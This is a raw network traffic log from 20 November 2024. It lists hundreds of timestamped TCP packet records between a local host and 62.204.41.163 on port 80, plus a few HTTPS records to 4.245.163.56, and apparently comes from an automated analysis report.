Nov 20, 2024 07:48:20.488563061 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488570929 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488598108 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488603115 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488631010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488636017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488665104 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488672018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488697052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488708973 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488734007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488743067 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488768101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488801956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488821983 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488835096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488847971 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488868952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488874912 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488902092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488925934 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488934040 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488945007 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.488969088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.488996029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.489013910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.489029884 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.489047050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.489063978 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.489082098 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.489114046 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.489136934 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.573601007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.573698997 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.573753119 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.573776960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.573796988 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.573813915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.573824883 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.573862076 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.573867083 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.573904991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.573905945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.573931932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.573942900 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.573957920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.573967934 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574028015 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574042082 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574067116 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574068069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574103117 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574106932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574131966 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574145079 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574158907 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574168921 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574183941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574194908 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574209929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574220896 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574232101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574248075 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574263096 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574268103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574301004 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574305058 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574330091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574346066 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574353933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574366093 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574387074 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574393034 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574419022 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574433088 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574444056 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574465036 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574470043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574480057 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574493885 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574520111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574532986 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574544907 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574556112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574570894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574584961 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574595928 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574605942 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574620962 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574634075 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574656963 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574660063 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574686050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574698925 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574709892 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574724913 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574736118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574754953 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574767113 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574784994 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574798107 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574807882 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574822903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574846983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574862957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574872971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574887037 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574898958 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574913025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574934006 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574937105 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574963093 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574975967 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.574986935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.574997902 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575012922 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575022936 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575037003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575050116 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575063944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575076103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575088024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575099945 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575114012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575125933 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575150013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575151920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575181007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575186968 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575205088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575215101 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575231075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575237989 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575254917 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575267076 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575289965 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575292110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575329065 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575351954 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575377941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575391054 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575402021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575414896 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575428963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575437069 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575453043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575464964 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575478077 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575512886 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575516939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575531006 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575551987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575556040 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575581074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575606108 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575619936 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575644970 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575656891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575670004 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575681925 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575695038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575709105 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575720072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575731993 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575743914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575754881 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575772047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575778961 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575795889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575809002 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575820923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575833082 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575846910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575859070 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575872898 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575884104 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575897932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575910091 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575923920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575934887 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575948000 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575973988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.575990915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.575999022 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576011896 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576024055 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576035023 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576049089 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576061010 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576076984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576092005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576102018 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576117992 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576127052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576138020 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576150894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576162100 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576176882 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576188087 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576205969 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576212883 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576244116 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576246023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576272011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576296091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576312065 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576319933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576340914 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576344967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576366901 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576369047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576381922 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576395035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576417923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576436043 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576442957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576464891 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576468945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576494932 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576497078 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576520920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576529026 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576543093 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576545954 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576561928 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576572895 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576598883 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576601028 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576621056 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576622963 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576634884 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576647997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576661110 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576673985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576684952 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576700926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576716900 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576726913 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.576741934 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.576765060 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.612693071 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.612746000 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.612765074 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.612780094 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.612797022 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.612812996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.612818003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.612847090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.612854958 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.612884998 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.642038107 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:20.642107964 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:20.645912886 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:20.645936966 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:20.646336079 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:20.662292957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662323952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662355900 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662374973 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662386894 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662410021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662424088 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662453890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662462950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662497997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662513018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662533045 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662539005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662565947 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662575006 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662600040 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662606955 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662637949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662648916 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662678957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662689924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662725925 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662758112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662771940 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662791967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662801981 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662825108 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662833929 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662861109 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662872076 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662894011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662899971 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662926912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662934065 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662960052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.662966013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.662995100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663001060 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663027048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663037062 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663059950 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663060904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663100958 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663114071 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663147926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663180113 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663187981 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663222075 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663230896 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663269997 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663283110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663325071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663338900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663371086 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663378954 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663412094 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663424015 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663456917 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663461924 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663490057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663496971 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663523912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663527966 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663562059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663563967 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663597107 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663604021 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663630962 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663652897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663686037 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663708925 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663731098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663738966 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663773060 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663779020 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663806915 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663819075 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663844109 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663880110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663886070 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663913012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.663917065 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663954020 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:20.663965940 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:20.664000034 CET	80	49753	62.204.41.163	192.168.2.4
